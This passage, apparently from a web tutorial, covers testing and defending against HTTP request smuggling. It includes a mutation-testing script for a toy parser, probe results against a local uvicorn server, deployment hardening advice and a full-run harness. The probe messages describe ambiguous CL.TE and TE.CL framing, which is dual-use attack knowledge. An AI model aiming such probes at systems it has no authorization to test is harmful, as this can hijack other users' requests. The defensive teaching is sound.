("te-lenient: match chunked only exactly", 'chunked = any(b"chunked" in v.lower() for v in te)', 'chunked = any(v.lower() == b"chunked" for v in te)'),
("te-lenient: stop accepting a bare LF", 'rb"\\r?\\n" if p.lone_lf else rb"\\r\\n"', 'rb"\\r\\n"'),
("te-lenient: use the first Content-Length", 'cl[0] if p.cl_pick == "first" else cl[-1]', 'cl[0]'),
("cl-first: let Transfer-Encoding win", 'if chunked and (p.te_wins or not cl):', 'if chunked:'),
]
def run_tests(folder):
env = dict(os.environ, PYTHONDONTWRITEBYTECODE="1")
p = subprocess.run([sys.executable, "-m", "pytest", "-q", "-x", "-p", "no:cacheprovider", "test_wire.py"],
cwd=folder, capture_output=True, text=True, env=env)
return p.returncode
source = (HERE / "wire.py").read_text(encoding="utf-8")
caught = 0
with tempfile.TemporaryDirectory() as tmp:
tmp = pathlib.Path(tmp)
for name in ("corpus.py", "test_wire.py"):
shutil.copy(HERE / name, tmp / name)
(tmp / "wire.py").write_text(source, encoding="utf-8", newline="\n")
print("clean copy passes:", run_tests(tmp) == 0)
for label, old, new in MUTANTS:
assert source.count(old) == 1, f"mutant text must occur once: {label}"
shutil.rmtree(tmp / "__pycache__", ignore_errors=True)
(tmp / "wire.py").write_text(source.replace(old, new), encoding="utf-8", newline="\n")
failed = run_tests(tmp) != 0
caught += failed
print(f"{'caught' if failed else 'MISSED'} {label}")
print(f"{caught} of {len(MUTANTS)} planted bugs caught")
clean copy passes: True
caught strict: allow LF-only line endings
caught strict: stop looking for LF-only block ends
caught strict: allow a space in a header name
caught strict: allow control characters in a value
caught strict: allow both Content-Length and Transfer-Encoding
caught strict: allow repeated headers
caught strict: allow any transfer coding
caught strict: allow Transfer-Encoding on HTTP/1.0
caught strict: accept signs and underscores in Content-Length
caught strict: no length limit on Content-Length
caught strict: accept any chunk size text
caught strict: no length limit on a chunk size
caught lenient: accept a negative Content-Length
caught te-exact: accept a Content-Length that is not digits
caught te-lenient: stop trimming header names
caught te-lenient: match chunked only exactly
caught te-lenient: stop accepting a bare LF
caught te-lenient: use the first Content-Length
caught cl-first: let Transfer-Encoding win
19 of 19 planted bugs caught
Every planted bug was caught. The first version of this check taught me something worth passing on. I had written a check for bare CR and LF characters, planted a bug that removed it, and the tests still passed: 17 of 18 caught. The reason was that the header grammar rule already refuses control characters in header values, so the extra check was a second wall behind the first, and removing one wall changed nothing visible. I replaced it with a rule that only it can enforce, refusing a header block that ends with a bare line feed, added a test for that, and the count became 19 of 19. If a planted bug survives, either add a test or notice that the code was redundant.
Step 10: Probe your own servers
The same twelve messages work as a check on software you run. You already have probe.py. Point it at the host and port of a server you own. Here is the run against uvicorn with the h11 parser, started with python -m uvicorn asgi_app:app --http h11 --port 8000:
python probe.py 127.0.0.1 8000
plain_cl 200
plain_chunked 200
te_mixed_case 200
te_tab_value 200
cl_te 200,200
te_cl 200
te_xchunked 400
te_space_colon 400
te_lone_lf 200,200
cl_two_values 400
cl_underscore 400
obs_fold 200,200
How to read the output:
- One status, 200: the server accepted the message as a single request.
- 400 or 501: the server refused the message. For the eight hostile rows, that is the answer you want from the outermost server.
- Two statuses: the server found two requests in one message. Ask what the next server in your chain would do with the same bytes. If any of your front ends reads that message as one request, you have found a pair worth fixing.
- None: the server closed the connection without answering, or kept waiting for more bytes.
To test a whole stack rather than one server, point the probe at the front end, then compare the front end’s access log with the back end’s log. A request that appears in the back-end log but not in the front-end log is the signature of a smuggled request. Only run this against systems you are authorized to test. Even a harmless-looking probe can poison a shared connection for another visitor if the stack really is exposed.
What to change in a real deployment
Here is what the experiments support, and what they do not.
- Measure your own pair. Step 6 showed the same h11 back end untouched by the
cl_temessage behind nginx 1.30.6 and exposed to it behind a raw pass-through front end. Run the probe against each front end and compare it with each back end, after every upgrade. - Prefer a front end that refuses ambiguous messages and rebuilds requests. nginx 1.30.6 did both in this lab: it answered every hostile message with an error, and it re-framed the ordinary chunked upload with a
Content-Length. If you write a proxy, use the strict rules in this tutorial as a starting point. - Prefer the stricter parser where you have a choice. In this test, uvicorn with
httptoolsrefused all eight hostile messages and uvicorn withh11split three. That is one measurement on two library versions, not a ranking, but it shows that the choice matters. - Do not rely on disabling connection reuse. It limited the leak in the toy, and the hidden request still ran.
- Compare logs. Back-end requests that the front end never logged, and a rise in 400 and 501 responses for requests that carry both
Content-LengthandTransfer-Encoding, are the signals to alert on. - Keep
http.serverout of production. The Python documentation warns that it only implements basic security checks, and Step 6 showed it acceptingContent-Length: 1_0through a common handler idiom. - HTTP/2 is outside this lab. I did not test it. PortSwigger notes that “websites that support HTTP/2 may be vulnerable, depending on their back-end architecture”, so check how your front end talks to the back end before assuming it is immune.
For related background on this site, see the walk-through of random 502 errors caused by connection reuse between nginx and uvicorn in How to Fix Random 502 Errors Behind nginx, the tutorial on setting Cache-Control headers in FastAPI and nginx, which explains what a shared cache stores, and the guide to hardening a rate limiter against spoofed client IPs, which covers another place where a back end must not trust what a front end passes along.
Common mistakes and gotchas
These are the traps I met, or that the lab makes visible.
- Believing the front end sees everything. Its rules apply to the requests it parsed. A hidden request is, by definition, one it did not parse.
- Validating
Content-Lengthwithint()orisdigit(). Use a regular expression for ASCII digits, as in Step 7. - Counting responses and stopping there. A server that refuses a message may close the connection with no status line at all, which the probe reports as none. Read each row with the server’s behaviour in mind.
- Expecting a strict edge to be perfectly RFC-shaped. nginx answered
501to a tab character that the RFC permits. When you tighten parsing, test the clients you actually have. - A test suite that passes while the rule is broken. Step 9’s survivor was exactly that. Plant the bug and see.
- Aiming this at servers you do not own. The twelve messages are probes, not a toolkit for strangers’ systems. Keep them on localhost or on systems where you have permission.
Check that everything works end to end
The last script runs every step, the tests, the planted-bug check and the probe, and saves each output under out/. Save it as run_all.py:
# run_all.py
import os
import pathlib
import subprocess
import sys
from harness import kill, start_uvicorn
HERE = pathlib.Path(__file__).resolve().parent
OUT = HERE / "out"
OUT.mkdir(exist_ok=True)
ENV = dict(os.environ, PYTHONUTF8="1", PYTHONDONTWRITEBYTECODE="1", COLUMNS="170")
STEPS = ["step01_framing", "step02_parsers", "step03_clte", "step04_variants", "step05_defences",
"step06_real_servers", "step06b_real_pairs", "step07_int_trap"]
def run(name, args):
p = subprocess.run([sys.executable] + args, cwd=HERE, capture_output=True, text=True, env=ENV, encoding="utf-8")
text = p.stdout + (("\n[stderr]\n" + p.stderr) if p.stderr.strip() else "")
with open(OUT / f"{name}.txt", "w", encoding="utf-8", newline="\n") as f:
f.write(text)
print(f"{name:<22} exit {p.returncode} lines {len(text.splitlines())}")
for step in STEPS:
run(step, [f"{step}.py"])
run("tests", ["-m", "pytest", "-q", "-p", "no:cacheprovider", "test_wire.py"])
run("mutate", ["mutate.py"])
proc, port = start_uvicorn("asgi_app:app", "h11")
try:
run("probe_cli", ["probe.py", "127.0.0.1", str(port)])
finally:
kill(proc)
Run python run_all.py. It takes about a minute.
step01_framing exit 0 lines 4
step02_parsers exit 0 lines 16
step03_clte exit 0 lines 8
step04_variants exit 0 lines 8
step05_defences exit 0 lines 13
step06_real_servers exit 0 lines 16
step06b_real_pairs exit 0 lines 13
step07_int_trap exit 0 lines 13
tests exit 0 lines 2
mutate exit 0 lines 21
probe_cli exit 0 lines 12
Success looks like this: every line says exit 0; out/tests.txt ends with 60 passed; out/mutate.txt ends with 19 of 19 planted bugs caught; the table in out/step06_real_servers.txt has the same response counts as the one above; and out/step03_clte.txt shows Alice receiving the admin panel and the attacker receiving her page. Timings and ports differ from run to run. The response counts should not.
Where to go next
Extend corpus.py with messages for Expect: 100-continue, HTTP/1.0 requests and duplicate Host headers, and rerun the table. Add chunk extensions, which this lab does not test and which parsers also handle differently. If you want a guided tour of the attack classes in real applications, the PortSwigger Web Security Academy has labs built around the CL.TE, TE.CL and TE.TE shapes you reproduced here. For the underlying rules, read section 6 and section 11.2 of RFC 9112, and the CWE-444 entry for the weakness catalogue. The one idea to carry away is the one that started the tutorial: two programs, one stream of bytes, and a single question they must answer the same way: where does this request end?
Sources
- RFC 9112, HTTP/1.1 (the sections on message parsing, field line parsing, obsolete line folding, transfer-encoding, message body length and pipelining), and RFC 9110, HTTP Semantics for the
Content-Lengthand optional-whitespace grammar. - PortSwigger Web Security Academy: HTTP request smuggling.
- CWE-444: Inconsistent Interpretation of HTTP Requests.
- nginx change log, release 1.21.1; ngx_http_parse.c at release-1.30.6; the upstream module documentation.
- uvicorn settings for the
--httpoption. - Python documentation for
int()andhttp.server.








No Comment! Be the first one.